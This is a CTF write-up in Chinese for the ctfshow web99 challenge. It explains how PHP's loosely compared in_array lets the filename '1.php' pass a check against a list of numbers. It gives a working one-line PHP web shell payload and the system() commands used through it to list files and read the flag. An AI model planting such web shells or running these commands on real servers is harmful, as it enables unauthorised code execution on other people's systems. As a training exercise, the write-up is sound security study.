[ctfshow web入门]web99 in_array的弱比较漏洞

信息收集

array_push(array, value):向数组最后的位置插入value

in_array(value, array, type):其中value是要查找的值,array是需要查找的的数组,type是查找的类型,如果没有指定类型,则以弱比较方式查找

in_array存在一个弱比较漏洞,也就是当type设置时,且value的类型与数组数据内容类型不同时,value会被转化为数组数据的类型。此时如果value是字符串,而array数据类型是int,那么字符串会被转化为int

php 复制代码
highlight_file(__FILE__);
// 生成一个数组
$allow = array();
// 遍历 36 到 0x36d;0x36d = 877
// 向数组插入元素,随机数1到最多877
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
// 查询是否存在$_GET['n'],如果存在则以$_GET['n']为文件名写入$_POST['content']
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

解题

由于in_array未设置type,我们构造?n=1.php,此时in_array比较时,1.php被强制类型转化为int,也就是1,1大概率存在于数组中,此时我们向1.php写入一句话木马即可

s 复制代码
?n=1.php
post:
content=<?php eval($_GET[cmd]);?>

再访问我们的木马文件,获取目录和flag

s 复制代码
1.php?cmd=system('ls');
1.php?cmd=system('tac flag36d.php');

web    目录    web

相关推荐
兄弟加油,别颓废了。7 小时前
给她ctf.show
网络安全
悟道子HD13 小时前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
dog25014 小时前
细看高维空间中距离度量失效
开发语言·php
汤愈韬15 小时前
网络安全之网络基础知识_2
网络协议·安全·web安全
二等饼干~za89866815 小时前
源码可控:云罗 GEO 源头工厂,开源搭建 + 二次开发全链路解决方案
服务器·开发语言·开源·php·音视频·ai-native
zhanghongbin0115 小时前
本地持久化:网络故障数据保护
服务器·网络·php
软件开发技术16 小时前
最新版310版本绿豆UI9+后台源码+TV版APK+手机版APK
php
zjeweler16 小时前
网安护网面试-2-国誉护网面试
web安全·网络安全·面试·职场和发展·护网行动·护网面试
liliangcsdn16 小时前
sentence-transformer如何离线加载和使用模型
开发语言·前端·php
AI应用实战 | RE17 小时前
011、向量数据库入门:Embeddings原理与ChromaDB实战
开发语言·数据库·langchain·php